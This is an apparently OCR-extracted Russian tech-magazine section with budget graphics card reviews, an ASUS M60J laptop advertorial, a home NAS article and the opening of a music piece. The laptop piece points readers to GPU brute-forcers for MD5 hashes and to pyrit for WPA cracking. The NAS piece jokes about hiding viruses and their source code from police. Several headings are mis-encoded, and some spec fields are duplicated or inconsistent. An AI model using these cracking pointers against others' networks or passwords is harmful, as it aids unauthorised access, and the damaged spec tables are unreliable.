ÏÐÎÖÅÑÑÎÐ: INTEL CORE 2 DUO E8400
ÌÀÒÅÐÈÍÑÊÀß ÏËÀÒÀ: ASUS P5Q DELUXE
ÎÏÅÐÀÒÈÂÍÀß ÏÀÌßÒÜ, ÃÁ: 4, CORSAIR XMS2 DDR2 
ÆÅÑÒÊÈÉ ÄÈÑÊ, ÃÁ: 640, WD, 7200 ÎÁ/ÌÈÍ
ÁËÎÊ ÏÈÒÀÍÈß, ÂÒ: 1000, THERMALTAKE
ÎÏÅÐÀÖÈÎÍÍÀß ÑÈÑÒÅÌÀ: WINDOWS VISTA 

ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
ГРАФИЧЕСКИЙ ПРОЦЕССОР: ATI RV730
ТЕХПРОЦЕСС, НМ: 55
РАЗЪЕМЫ: 2xDVI, 1xS-Video
ДОПОЛНИТЕЛЬНОЕ ПИТАНИЕ: не требуется
ЧАСТОТА ПРОЦЕССОРА, МГЦ: 750
ЧАСТОТА ПАМЯТИ, МГЦ: 2000
ТИП ПАМЯТИ: GDDR3
ОБЪЕМ ПАМЯТИ, МБ: 512
ШИРИНА ШИНЫ, БИТ: 128
ПОДДЕРЖКА SLI/CROSSFIRE: есть

HIS RADEON
HD 4670 ICEQ 

2550 ðóá.
4750 ðóá.

ÑÏÈÑÎÊ  ÏÐÎÒÅÑÒÈÐÎÂÀÍÍÛÕ ÓÑÒÐÎÉÑÒÂ: ÊÎÍÔÈÃÓÐÀÖÈß ÒÅÑÒÎÂÎÃÎ ÑÒÅÍÄÀ
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Несмотря на то, что плате уже немало лет, в некоторых ситуациях ее при-
обретение по-прежнему еще актуально. Например, учитывая невысокую 
цену, с помощью двух таких плат можно создать SLI-массив, благо, такая 
функция поддерживается. Уровень производительности в этом случае 
будет весьма и весьма неплохим, что и продемонстрировали наши 
тесты. Во многом такие результаты достигаются благодаря применению 
достаточно быстрой памяти. Кроме того, плату можно неплохо разогнать, 
поэтому, если все хорошо продумать, покупка будет оправданной, а вло-
жения эффективными.

С другой стороны, если ты хочешь играть в современные игры с если уж 
не максимальными, то достаточно высокими настройками, лучше будет 
присмотреться к платам на базе GeForce 8800GT или 9800GT, которые 
обеспечат совершенно иной уровень производительности. А если 
посерфить в Сети, то вполне можно прикупить и современный девайс на 
GTS250, причем за не очень большие деньги.
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Первое и главное достоинство этой платы, которое сразу бросается в 
глаза, — ее цена. Меньше 2000 рублей, — выглядит очень и очень при-
влекательно. Кроме того, у платы есть три различных разъема для под-
ключения — D-SUB, DVI и HDMI. Еще ее можно похвалить за компактные 
размеры, отсутствие необходимости в дополнительном питании, а также 
хорошую систему охлаждения. Вот, собственно, и все плюсы.

А главный минус заключается в том, что, несмотря на крайне низкую 
стоимость, устройство практически не имеет смысла покупать. Его про-
изводительность совсем невелика, поэтому, если ты хочешь сэкономить 
на видеоадаптере, лучше прикупить системную плату со встроенной 
графикой. А потом, если появится нужда, докупить отдельную видеоп-
лату. Кроме того, кулер довольно маленький и есть подозрение, что уже 
через годик он может зашуметь.

ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
ГРАФИЧЕСКИЙ ПРОЦЕССОР: ГРАФИЧЕСКИЙ ПРОЦЕССОР: NVIDIA G96
ТЕХПРОЦЕСС, НМ: ТЕХПРОЦЕСС, НМ: 65
РАЗЪЕМЫ: РАЗЪЕМЫ: 2xDVI, 1xS-Video
ДОПОЛНИТЕЛЬНОЕ ПИТАНИЕ: ДОПОЛНИТЕЛЬНОЕ ПИТАНИЕ: 1x6 пин
ЧАСТОТА ПРОЦЕССОРА, МГЦ:ЧАСТОТА ПРОЦЕССОРА, МГЦ: 700
ЧАСТОТА ПАМЯТИ, МГЦ: ЧАСТОТА ПАМЯТИ, МГЦ: 1800
ТИП ПАМЯТИ: ТИП ПАМЯТИ: GDDR3
ОБЪЕМ ПАМЯТИ, МБ: ОБЪЕМ ПАМЯТИ, МБ: 1024
ШИРИНА ШИНЫ, БИТ: ШИРИНА ШИНЫ, БИТ: 256
ПОДДЕРЖКА SLI/CROSSFIRE:ПОДДЕРЖКА SLI/CROSSFIRE: есть

ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
ГРАФИЧЕСКИЙ ПРОЦЕССОР: NVIDIA G96
ТЕХПРОЦЕСС, 55: 55
РАЗЪЕМЫ: 1xDVI, 1xD-SUB, 1x-HDMI
ДОПОЛНИТЕЛЬНОЕ ПИТАНИЕ: нет
ЧАСТОТА ПРОЦЕССОРА, МГЦ: 650
ЧАСТОТА ПАМЯТИ, МГЦ: 800
ТИП ПАМЯТИ: GDDR2
ОБЪЕМ ПАМЯТИ, МБ: 512
ШИРИНА ШИНЫ, БИТ: 128
ПОДДЕРЖКА SLI/CROSSFIRE: нет

MSI-N9500GT
MD512-OC

          Diamond

1800 ðóá.

2000 ðóá.

CRYSIS 1680X1050, HIGH, GPU TEST (FPS)

0                5                10                 15                 20                25

HIS Radeon HD 4670 IceQ
HIS Radeon HD 4770
MSI N250GTS Twin Frozr
MSI N9500GT-MD512-OC
MSI N9600GT Diamond
Sapphire Radeon HD 4730

НА ЧТО СПОСОБНА ТА ИЛИ ИНАЯ ПЛАТА НАГЛЯДНО ПОКАЗЫВАЕТ 
ТЯЖЕЛЫЙ ТЕСТ

ÑÐÅÄÍßß ÒÅÌÏÅÐÀÒÓÐÀ Â ÐÅÆÈÌÅ 
ÑÒÐÅÑÑ-ÒÅÑÒÀ (ÃÐÀÄÓÑÛ ÖÅËÜÑÈß)
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БЮДЖЕТНЫЕ ПЛАТЫ ГРЕЮТСЯ НЕ ОЧЕНЬ СИЛЬНО
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ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
ГРАФИЧЕСКИЙ ПРОЦЕССОР: ATI RV770
ТЕХПРОЦЕСС, НМ: 55
РАЗЪЕМЫ: 1xDVI, 1x-D-SUB, 1xHDMI
ДОПОЛНИТЕЛЬНОЕ ПИТАНИЕ: 2x6 пин
ЧАСТОТА ПРОЦЕССОРА, МГЦ: 750
ЧАСТОТА ПАМЯТИ, МГЦ: 3600
ТИП ПАМЯТИ: GDDR5
ОБЪЕМ ПАМЯТИ, МБ: 512
ШИРИНА ШИНЫ, БИТ: 128
ПОДДЕРЖКА SLI/CROSSFIRE: есть

Несмотря на достаточно высокую, по сравнению с другими устройст-
вами в обзоре, цену, плата является лидером по соотношению цены и 
качества. Сумма, отданная за нее в магазине, существенно ниже, чем 
та, которую просят за мощные современные девайсы, но при этом с 
производительностью у нее все нормально. Благодаря хорошему чип-
сету и быстрой памяти, с ней ты еще поиграешь. Кроме того, она очень 
грамотно сконструирована, поэтому даже в небольшой корпус можно 
установить несколько таких устройств. Система охлаждения на первый 
взгляд может показаться несправляющейся, но наши тесты опровергли 
это впечатление. Никаких проблем с перегревом не возникало. Также 
к плюсам платы относятся три разъема для подключения и неплохой 
разгонный потенциал.

Явных недостатков у платы нам обнаружить не удалось. За свои деньги 
она предоставляет абсолютно адекватные возможности, а называть их 
слабыми, сравнивая с устройствами, которые дороже втрое, особого 
смысла нет.

Плату можно порекомендовать тем, кто любит заниматься разгоном. Для 
этого у нее есть все необходимое — построена на базовом, нисколько не 
оверклокнутом чипсете NVIDIA GeForce GTS 250 и сохраняет приличный 
потенциал для шаловливых ручек. Но главное — на ней стоит мощная 
нестандартная система охлаждения, которая станет залогом того, что 
плата не будет глючить после твоих экспериментов. Состоит она из мед-
ного радиатора с двумя вентиляторами сверху и, по результатам наших 
тестов, показывает себя лучше стандартной турбины.

Увы, такой вариант издает гораздо больше шума, нежели стандартная 
турбина. Кроме того, если турбированный кулер большую часть горячего 
воздуха выбрасывает наружу, то вентиляторы, в основном, направляют 
его вниз, что создаст проблемы в том случае, если там стоит еще один 
видеоадаптер. Так что — будь внимательнее.

ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
ГРАФИЧЕСКИЙ ПРОЦЕССОР: NVIDIA G92b
ТЕХПРОЦЕСС, НМ: 55
РАЗЪЕМЫ: 2xDVI, 1xS-Video
ДОПОЛНИТЕЛЬНОЕ ПИТАНИЕ: 6-пин
ЧАСТОТА ПРОЦЕССОРА, МГЦ: 738
ЧАСТОТА ПАМЯТИ, МГЦ: 2200
ТИП ПАМЯТИ: GDDR3
ОБЪЕМ ПАМЯТИ, МБ: 512
ШИРИНА ШИНЫ, БИТ: 256
ПОДДЕРЖКА SLI/CROSSFIRE: есть

MSI N250GTS
Twin Frozr

SAPPHIRE RADEON
HD 4730

ÂÛÂÎÄÛ
Бюджетные видеоплаты в избытке представ-
лены на рынке и пользуются определенным 
спросом. Лидером сегодняшнего теста стала 

плата MSI N250GTS Twin Frozr, которая имеет 
хорошие характеристики и неплохой разгонный 
потенциал. А награду «Лучшая покупка» получа-
ет Sapphire Radeon HD 4730, которая на все 100% 

оправдывает свою стоимость. Перед тем как 
тратить огромные деньги, хорошенько подумай  
— возможно, одна из этих плат придется тебе по 
душе.z
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INTEL® CORE™ i7
Главная особенность этого ноутбука — конечно же, платформа. На 
данный момент ASUS M60J — первый на российском рынке ноутбук на 
базе нового процессора Intel® Core™ i7. Впрочем, ноуты только-только 
поступили в продажу: даже протестированный нами экземпляр — 

лишь инженерный образец. Сама платформа Core™ i7 не плод мысли 
маркетологов, а действительно совершенно новая разработка с рядом 
приятных особенностей. В протестированном ноутбуке была установле-
на мобильная версия этой линейки процессоров Intel, удачно унасле-
довавшая от старших братьев все новые фичи, в том числе и функцию 
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Мощь Core i7 и CUDA
Что такое топовый ноутбук для дома? Если взять самое быстрое железо, 
дорогие компоненты, дополнив классным дисплеем и мультимедий-
ными возможностями, то получится что-то похожее. ASUS M60J — как 
раз такая машинка. Его явно не будешь носить с собой, но в качестве 
настольного решения он даст фору большинству обычных компьютеров. 
Правда, и стоить будет о-го-го, но это уже другая история :).
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ASUS M60J

FERRUM
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Turbo Boost. Штука потрясающая: в случае большой нагрузки, когда 
компьютеру нужна дополнительная производительность, отдельные 
ядра процессора могут разгоняться автоматически. Кстати, о ядрах — в 
любом процессоре i7 их четыре. Причем в новой платформе вновь за-
действована уже подзабытая технология Hyperthreading, реализующая 
два виртуальных ядра на одно физическое — в итоге, получаем 8 вир-
туальных ядер в системе. Вот теперь я точно знаю, как можно удивить 
приятеля — достаточно показать окно таксменеджера с диаграммой 
загрузки каждого из ядер :). Контроллер памяти находится в самом про-
цессоре, а не в отдельном чипсете. Главный вопрос — насколько Core 
i7 быстрее Core 2 Duo, и быстрее ли вообще? Прирост производитель-
ности на новых процах оказывается в среднем 25% при равных с Core 2 
Duo тактовых частотах. Оверклокинг возможен, как и ранее, только при 
установке на ноутбук процессора Extreme Edition с разблокированным 
коэффициентом умножения.

ИГРАМ БЫТЬ!
В нашем тестовом образце установлен четырехядерный Intel® Core™ 
Q820 c частотой 1.74 ГГц с функцией авторазгона до 2.9 ГГц и и 8-мега-
байтным кэшем L3. Вся система работает на чипсете Intel PM55 в связке 
с 4 Гб оперативки DDR3-1333 МГц. Кстати говоря, платформа Core i7 
поддерживает исключительно DDR3. В системе установлено два жест-
ких диска, причем, от разных производителей — 320 Гб Western Digital и 
320 Гб Hitachi. Интересно, кто из них проживет дольше? :) Важная часть 
системы — это дискретная видяха Nvidia GeForce GT 240M с 1 Гб памяти. 
На 16-дюймовом экране с расширением 1366x768 и с такой убойной кон-
фигурацией можно играть в любые игры. Мультимедийная натура ноута 
подчеркивается во всем. Наша модель M60J была оснащена Blu-ray 
приводом. В верхней части клавиатуры находится специальная сенсор-
ная панель, с помощью которой осуществляется управление звуком и 
медиаплеером. А по бокам — два качественных динамика от известной 
компании Altec Lansing. 

NVDIA CUDA
Впрочем, что там игры? Мы-то знаем, что современные видюхи можно 
использовать и в совершенно других целях. Достаточно взглянуть на 
стикер nVidia на корпусе «машинки» с аббревиатурой CUDA, под-
тверждающей наше предположение. Да, M60J отлично справится со 
сложными вычислениями с использованием мощности конвейерных 
вычислений процессора твоей видеокарты (GPU). Мало-помалу, 
технологию CUDA берут на вооружение не только разработчики 

брутфорсеров и прочих хакерских тулз, но и вполне обычных при-
ложений. После установки последнего PS4 Photoshop’а программа 
радостно сообщает, что отныне поддерживает ускорение за счет 
видеокарты и просит обновить драйвера. Медиаконвертер Badaboom 
(www.badaboomit.com) работает только в случае наличия CUDA, но 
зато переводит видео в нужный формат гораздо быстрее аналогов. 
Другой конвертер — TMPGEnc (www.tmpgenc.net) — и видеоредактор 
CyberLink PowerDirector служит для наложения на картинку сложных 
фильтров.
Для хакера CUDA — это вообще вещь особенная. Помнишь задание 
с первого ring0cup, когда нужно по хешу разгадать пароль и соль? 
Решить задачу можно только в лоб, путем перебора. И хотя связка 
пароль-соль были максимально простые, чтобы подобрать на любом 
компьютере и с минимальным словарем, самый быстрый брутфорсер 
можно написать с использованием CUDA. Реализовать такую штуку 
очень просто, например, с помощью Python и специальной библиотеки 
PyCuda (mathema.tician.de/software/pycuda). Оценить мощь подобной 
оптимизации можно на примере программы BarwWF (3.14.by/ru/md5), 
перебирающей md5-хеш со скоростью до 350 миллионов ключей в 
секунду! Практически нереальный взлом ключа для беспроводной 
сети, защищенной WPA, можно сделать чуточку более реальным, если 
составить радужные таблицы и опять же, с помощью CUDA, воспользо-
ваться утилитой pyrit (code.google.com/p/pyrit). Ты еще спрашиваешь, 
зачем нужна CUDA?

PS
Резюмируем: M60J относится к классу топовых ноутбуков. Если процес-
сор и платформа, то новейшие Core i7. Если память, то обязательно 4 Гб 
DDR3. Если видеокарта, то дискретная GeForce GTX 240M с поддержкой 
CUDA. Если привод, то Blu-ray. Если беспроводной адаптер, то обя-
зательно с поддержкой стандарта 802.11n. И так — во всем. Нам такая 
позиция нравится :). z

Подробнее о ноутбуках ASUS серии М и других гаджетах вы можете 
узнать в новом дискуссионном сообществе на trendclub.ru. Trend Club — 
дискуссионный клуб для тех, кто интересуется прогрессом и задумыва-
ется о будущем. Участники Trend Club обсуждают технические новинки, 
информационные технологии, футурологию и другие темы завтрашнего 
дня.
Trend Club поддерживается компаниями Intel и ASUS и проводит регу-
лярные конкурсы с ценными призами.

Корпорация Intel, ведущий мировой производитель инновационных полупро-

водниковых компонентов, разрабатывает технологии, продукцию и инициативы, 

направленные на постоянное повышение качества жизни людей и совершенс-

твование методов их работы. Дополнительную информацию о корпорации Intel 

можно найти на Web-сервере компании Intel http://www.intel.ru, а также на сайте 

http://blogs.intel.com. Для получения дополнительной информации о рейтинге 

процессоров Intel посетите сайт www.intel.ru/rating. 

ХАРАКТЕРИСТИКИ ASUS M60J
• Процессоры — Intel® Core™ i7-820QM (1,73 ГГц, 
3,06 ГГц в режиме turbo), Intel® Core™ i7-720QM  (1,6 
ГГц, 2,8 ГГц в режиме turbo)
• Чипсет Mobile Intel® PM55
• Операционная система Windows Vista® Ultimate/
Business/Premium/Basic
• До 4 Гб оперативной памяти DDR3 1066/1333 МГц
• 16-дюймовый дисплей с разрешением 1366x768 
пикселей
• Графика NVIDIA GeForce GT 240M с 1 Гб видеопа-
мяти DDR3
• Винчестер объемом 250/320/500 Гб (5400/7200 об/
мин), поддержка двух HDD
• Оптический привод DVD Super-Multi/Blu-ray 
Combo
• 2 Мп web-камера
• Размеры — 375x265x34,3-40,6 мм
• Вес — 3,3 кг с 6-элементным аккумулятором
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Â 
былые времена у меня дома было 
три компьютера. Один круглые сутки 
роутил трафик локалки и раздавал 
интернет, на втором был запущен 
FTP-демон, который с 5-ти жестких 

дисков раздавал поразительные для тех 
времен 600 Гбайт разного стафа. Собственно, 
только третий оставался для обычной работы. 
Со временем, увы, романтика гудящих сутки 
напролет компьютеров ушла, и появилось 
стойкое желание от всего этого барахла изба-
виться.:). Ну, разве ж не круто отдать все зада-
чи по обслуживанию сети маленькому роутеру, 
который сам раздает IP-адреса, фильтрует 
пакеты и пробрасывает порты во внутреннюю 
сеть? Он же ведь сам по себе маленький ком-
пьютер. В статье «Level-up для точки доступа» 
мы даже рассказывали, как поднять на роутере 
торрент-клиент, который круглые сутки качал 
бы свежие файлы и раздавал по сети не без 
бубна развернутой Samba’ы. Увы, идея немно-
го провалилась, потому как девайс явно не был 
предназначен для такой нагрузки по USB, а 
потому работал с внешним жестким диском не 
быстрее, чем 2 Мб/с. В тот момент я задумался 
о том, чтобы правильно организовать сетевое 
хранилище. Нужен был специальный девайс, 
который сделал бы доступными по сети файлы 

с подключенных жестких дисков и бесшумно 
выполнял свою работу круглые сутки. И лишь 
недавно я все-таки разорился по покупку 
хорошего NAS (Network Attached Storage), 
который, к приятному удивлению, оказался 
намного более полезным приобретением, чем 
просто «сетевым жестким диском».

ÒÈØÅ ÂÎÄÛ, ÍÈÆÅ ÒÐÀÂÛ
Как и многие другие embedded-устройства, 
NAS представляет собой маленький ком-
пьютер. Если взять какую-либо продвинутую 
новинку, например, сетевой накопитель QNAP 
TS-219P, который и стал виновником дыры 
в моем личном бюджете, то внутри у него: 
центральный процессор Marvel Kirkwood 1,2 
ГГц и 512 Мбайт оперативной DDR2, на кото-
рый установлена специальная версия Linux. 
Разница в том, что такой коробочке не нужно 
места на рабочем столе и она практически 
бесшумна. Вместо того чтобы оставлять вклю-
ченным компьютер с расшаренными дисками, 
который жрет электричество и постоянно 
гудит, часто может быть достаточно одной та-
кой коробочки. Даже если поставить ее рядом 
с собой, то единственное, что услышишь, — 
это работу жестких дисков. Низкий уровень 
шума достигается специальной конструкцией 

NAS’а, малыми оборотами вращения венти-
лятора, технологией SmartFAN, остановкой 
накопителей при отсутствии активности, 
причем многие параметры настраиваются. 
Установить  такое устройство жесткий диск  – 
раз плюнуть. Достаточно прикрутить его 4-мя 
винтами к специальной салазке и задвинуть 
в отсек до фиксации. У меня к этому времени 
уже был внешний «терайбайтник» с интер-
фейсом eSATA, поэтому наличие у этого NAS’а 
разъемов eSATA, к которым также можно под-
ключить внешние жесткие диски без всякого 
вскрытия устройства, было особенно кстати. 
Таким образом, объем сетевого хранилища не 
ограничен только внутренними HDD. Причем, 
если для внутренних дисков используются 
никсовые файловые системы EXT3 и EXT4, то 
внешние носители можно подключать (в том 
числе и к портам USB 2.0) «как есть» с FAT и 
NTFS без необходимости форматирования. 
Любой доступ к файлам по любым протоко-
лам в обязательном порядке фиксируется в 
системном журнале.

ÁÛÑÒÐÎ È ÍÀÄÅÆÍÎ
Может показаться, что если файлы отне-
сешь подальше от себя, то и работать с ними 
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будешь, соответственно, медленнее. Толк от 
сетевого хранилища, которое еле ползает, 
действительно сомнительный, а этим, увы, 
грешат немало NAS’ов, особенно стареньких. 
Впрочем, есть и толковые девайсы, работаю-
щие «как надо». Подключившись по гигабиту 
к TS-219P, я обнаружил, что эта малышка 
способна записывать на одиночный диск со 
скоростью до 32 Мбайт/сек. Это очень быстро 
– почти так же, как если бы диск был подклю-
чен просто к настольному ПК. А благодаря 
встроенному контроллеру iSCSI на сетевых 
накопителях QNAP можно создавать до вось-
ми виртуальных дисков, форматировать их в 
требуемой файловой системе и использовать 
как обычные жесткие диски компьютера по 
локальной сети и даже через Инет. В Windows 
XP-Vista-7/Mac OS X можно примонтировать 
такой виртуальный диск к системе через 
iSCSI и работать с ним на скоростях, которые 
позволяет сеть. Консервативным линуксои-
дам, засидевшимся на старых ветках ядра, 
придется обновиться, потому как поддержка 
iSCSI появилась в версии kernel’а 2.6.12.
Удобно и быстро — это, безусловно, хорошо, 
но надежно ли? Да, файлы на сетевом храни-
лище находятся ничуть не в меньшей безо-
пасности, чем на типовом ПК. Когда ты в пос-
ледний раз заглядывал в параметры SMART 
своего жесткого диска? Лично я уже забыл, 
когда устанавливал подходящую для этого 
утилиту, и обнаружил, что у одного из хардов 
есть серьезные проблемы, увидев заветные 
циферки в админке NAS’а. Тут уже волей-не-
волей задумываешься о том, чтобы поднять 
на насе RAID 1 и зеркально бэкапить данные 
на второй жесткий диск. Даже если один HDD 
помрет, данные останутся, а «коробочка» об 
этом сообщит по e-mail, акустически и визу-
ально. А так как NAS поддерживает «горячую 
замену», то можно даже не выключать девайс 
из сети, а просто заменить жесткий диск во 
время работы. По этой же причине можно 
начать использовать NAS с одного диска, 
и в будущем, докупив еще один, сделать из 
них RAID-массив без потери данных и даже 
отключения хранилища от сети. 

ÄÎÏÎËÍÈÒÅËÜÍÛÅ 
ÂÎÇÌÎÆÍÎÑÒÈ
Помимо собственно сетевого хранилища, 
с NAS’ом получаешь ряд приятных бону-
сов. Не вижу теперь ни малейшей причины 
закачивать торренты на домашнем компе 
и засыпать под шум кулеров. Встроенный в 
NAS торрент-клиент качает файлы круглые 
сутки, складывая их в одно место — и они 
тут же доступны на всех компах. Получаем 
всегда положительный рейтинг на трекерах 
и никакого шума! :) Встроенный медиасер-
вер UPnP/DLNA — скорее баловство, чем 
реально полезная функция, особенно для 
людей, у которых, как и у меня, нет банально 
телевизора :). Хотя знающие люди говорят, 
что встроенный медиасервер от TwonkyMedia 
реально рулит. Ну и пусть говорят, прове-
рить я не смогу при всем желании :) А вот что 
действительно круто, – так это поддержка веб-

камер, с помощью которых можно устроить 
круглосуточное видеонаблюдение. Можешь 
не обольщаться, доставая запылившийся 
«глазок» от Skype’а — придется дополнитель-
но потратиться на полноценную IP-камеру. Но 
зато приобретя две Wi-Fi камеры, можно мо-
ниторить все, что угодно: коридор в подъезде 
или машину во дворе. NAS в этом случае не 
только используется для хранения записи, но 
и для управления. Увы, программисты QNAP 
почему-то реализовали отображение картин-
ки с камеры в компоненте ActiveX. Мало того, 
что работает он только под Internet Explorer, 
так еще и подглючивает, выдавая ошибки 
с просьбой обратиться к администратору. А 
если я и есть администратор? :) Лично у меня 
от этого появилось стойкое желание взять и 
полностью переписать интерфейс для работы 
с камерой на Flash, чтобы тот работал под 
любым браузером. Стандарт — открытый, API у 
камеры —  простое, а запихнуть это все в NAS 
не составит труда, там же Linux!

NAS, PYTHON 
È ÂÑÅ-ÂÑÅ-ÂÑÅ
Скажу больше: в продвинутых NAS’ах вообще 
есть встроенный веб-сервер с предуста-
новленным PHP-интерпретатором и MySQL. 
Устраивать из NAS’а абузоустойчивый хостинг 
и ждать гостей в форме не стоит, а вот поднять 
сайт и показывать на нем статистику по 
использованию NAS’а каждым из пользова-
телей — вполне можно. Для этого, правда, 
придется поставить сборщик статистики, 
обрабатывающий системные логи. К счастью, 
некоторые производители заботятся о просто-
те установки на NAS’ы дополнительных моду-
лей: программы для тех же «кунапов» инстал-
лятся не сложнее, чем под виндой. Закачав 
с сайта производителя QPKG-пакеты, можно 
в несколько кликов установить клиент для 
eMule, интерпретатор Python, phpMyAdmin и 
ряд других утилит. И хотя количество готовых 
к употреблению сборок невелико, такой 
подход позволяет установить самое глав-
ное — менеджер пакетов IPGK. С ним-то уж 
точно можно установить все, что душе угодно. 
Я, к примеру, первым делом устанавливаю 
файловый менеджер mc для удобства работы 
с конфигами. А для тех, кому недостаточ-
но не самого навороченного встроенного 
торрент-клиента, это отличная возможность 
поставить что-нибудь более функциональное 
и продвинутое. Дел на пять минут, тем более 
что активными членами компьюнити давно 
выложены готовые инструкции. Самые же 
смелые товарищи, располагающие знаниями 
и свободным временем, могут попытаться 
поставить на NAS любимую *nix-ОС :). Сам я с 
учетом большой работы с другими embedded-
девайсами порывался установить SSH-демон 
для безопасного администрирования. Лишь 
после всех приготовлений выяснилось, что он 
уже установлен :).

ÇÀÙÈÒÀ ÄÀÍÍÛÕ
Зачем мне понадобился безопасный доступ к 
устройству, рассказывать не нужно: ты и сам 

не раз видел, как легко снифается открытый 
трафик в сети. В этом плане порадовала 
опция «SSL-вход» перед авторизацией в ад-
минке. Дома этим можно пренебречь, но если 
до админки ты пробрасываешь порт на своем 
роутере и подключаешься к нему «извне» че-
рез Инет, то использовать HTTPS-соединение 
нужно в обязательном порядке. Что касается 
безопасной передачи файлов, то самим NAS 
поддерживаются SFTP-соединения (SSL/
TSL). Но если в сетевом хранилище хостятся 
особенно конфиденциальные данные (ты 
понимаешь, о чем я говорю), рекомендую 
взять пакет с OpenVPN и через IPKG развер-
нуть VPN-сервер, дабы работать с такими 
файлами исключительно по защищенному 
каналу связи. Слабым местом во всей схеме 
легко мог бы оказаться сам NAS, но и у него 
есть механизмы для собственной защиты: в 
том числе от DDoS и перебора паролей. Едва 
ли устройство выдержит атаку стотысячного 
ботнета, но подумай: кому может понадо-
биться твой домашний NAS? :) К тому же, для 
предотвращения сетевых атак можно создать 
набор правил, разрешающих, запрещающих 
или блокирующих IP-адреса, диапазоны 
IP-шников или целые подсети, с которых 
осуществляется доступ к накопителю по про-
токолам SSH/Telnet/HTTP(S)/FTP/SMB/AFP.

ÑÏÐßÒÀÒÜ ÂÑÅ
Еще любопытная деталь. Девайс можно хоро-
шенько спрятать дома, так что никакие злые 
дяди из отдела «К» его не найдут :). А хранить 
при этом на нем всякие пароли, вирусы, их 
сорцы, торренты — все, что душе угодно. 
Вспоминается история, когда в какой-то 
компании с левой бухгалтерией над навесным 
потолком был установлен целый компьютер с 
компрометирующими данными. Подключение 
выполнялось по витой паре, которая была 
прикреплена к специальному натяжному ро-
лику. Если сотрудники чувствовали, что пах-
нет жареным, то просто вытаскивали провод 
из свитча —  и тот тотчас убирался под потолок 
:). Эх, знали ли бы эти находчивые ребята о 
NAS: и ведь спрятать его проще, и шума ника-
кого! Параноики безопасности могут вообще 
подключиться к нему через Powerline-адап-
теры, передавая данные через электрическую 
розетку — тут уж и самим бы накопители не по-
терять! А если заморочиться еще серьезнее, 
то встроенный контроллер iSCSI позволить 
«вынести» NAS по Интернету куда угодно! Он 
может находиться у бабушки в другом конце 
Москвы или у брата в Нью-Йорке.
Единственное, чем может отпугнуть качест-
венный NAS, — это цена. Достойное «сетевое 
хранилище» с хорошей гарантией стоит де-
нег. Например, цена QNAP TS-219P со всеми 
описанными фичами составляет порядка 
$500. Аналогичные по возможности моде-
ли других производителей (хотя их, честно 
говоря, раз-два и обчелся) стоят не меньше. 
Сэкономить здесь можно, ну разве что купив 
что-нибудь от того же QNAP, но с меньшей 
производительностью —  функционал будет
 тем же..z
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Î
тношение к музыке у каждого свое. 
Меня хороший трек заряжает энерги-
ей, позволяет полностью погрузиться 
в рабочий процесс, забыв обо всем, 
или, наоборот, отдыхать на полную 

катушку. Но проблема — знатоком музыки я ни-
когда не был. У меня есть огромное количество 
треков на жестком диске, многие из которых 
— банально мусор. Добавив их в плейлист, 
очень скоро начинаешь плеваться и включать 
что-нибудь проверенное. А так как старый 
добрый плейлист переслушан до тошноты, то 
непременно появляется желание отыскать 
что-нибудь новенькое, свеженькое. Но что?

ÐÀÄÈÎ ÎÍËÀÉÍ
Тут-то и пришло осознание: а зачем вообще 
держать музыку на компьютере? Забивать 
голову поиском новых треков в инете, зате-
рявшихся mp3'шек на жестком диске, а потом 

составлением плейлистов под разные настро-
ения — слишком серьезная работа, чтобы 
просто послушать музыку. Но в действитель-
ности многое уже давно сделано за тебя — в 
виде онлайн-радио. Хочешь рок — будет тебе 
рок! Хочешь фолк — будет фолк. Что угодно — 
на любой вкус и жанр. В самом примитивном 
варианте такое радио мало отличается от 
обычного: заранее составленная сетка веща-
ния, ди-джеи, та же реклама. Разница в том, 
что таких радиостанций тысячи! Я особенно 
рекомендую сервис AOL Radio (music.aol.com/
radioguide/bb), на котором доступны каналы, 
начиная от традиционного разбиения на раз-
личные направления музыки и заканчивая 
каналами исключительно разговорными или, 
например, радио со спортивными транс-
ляциями. Один клик мыши — и слушаешь 
музыку по настроению. Для воспроизведения 
достаточно одного лишь браузера, а другие 

станции можно слушать через специальные 
утилиты ICY Radio (icy-radio.en.softonic.com) и 
RarmaRadio (www.raimersoft.com).
И все-таки, тут ты серьезно завязан на музы-
кального режиссера радиостанции, который, 
хотя и со знанием дела, но подбирает музыку 
сам. А хочется так — чтобы полностью под себя. 
Поэтому не менее интересен другой вариант, 
когда онлайн-радио представляет собой свое-
образную социальную сеть, совмещенную с 
огромным количеством музыкального контента. 
Пользователи делятся своими музыкальными 
предпочтениями, ведется статистика про-
слушиваемых треков — и на этом основании 
строятся индивидуальные плейлисты с учетом 
предпочтений и пожеланий пользователя. 
Чтобы полностью понять и проникнуться идеей 
и тем, насколько классно система работает, ее 
обязательно нужно попробовать.
Одной из лучших таких сетей является 

ÑÈÒÓÀÖÈß Ó ÌÅÍß, ÊÀÊ ÌÍÅ ÊÀÆÅÒÑß, ÂÏÎËÍÅ ÒÈÏÈ×ÍÀß. ÌÓÇÛÊÓ 
ÑËÓØÀÒÜ ÕÎ×ÅÒÑß, À ÊÀÊÓÞ — ÍÅ ÂÑÅÃÄÀ ÏÎÍßÒÍÎ. ÃÄÅ ÂÇßÒÜ 
ÒÐÅÊÈ, ÊÎÒÎÐÛÅ ÏÎÍÐÀÂßÒÑß? ÊÀÊ ÑÎÁÈÐÀÒÜ ÏËÅÉËÈÑÒÛ ÏÎÄ 
ÍÀÑÒÐÎÅÍÈÅ? Ó ÊÎÃÎ ÓÇÍÀÒÜ, ×ÒÎ ÑÅÉ×ÀÑ ÈÃÐÀÅÒ ÏÎ ÐÀÄÈÎ ÈËÈ 
ÏÐÎÑÒÎ Â ÌÀÃÀÇÈÍÅ? È ÊÀÊ ÏÐÈÂÅÑÒÈ Â ÁÎÆÅÑÊÈÉ ÂÈÄ ÌÈËËÈÎÍ 
ÒÐÅÊÎÂ ÍÀ ÆÅÑÒÊÎÌ ÄÈÑÊÅ?

ÌÓÇÛÊÀËÜÍÀß 
ËÈÕÎÐÀÄÊÀ ÕÀÊÅÐÑÊÀß ÆÈÇÍÜ 
ÏÐÈÏÅÂÀÞ×È :)



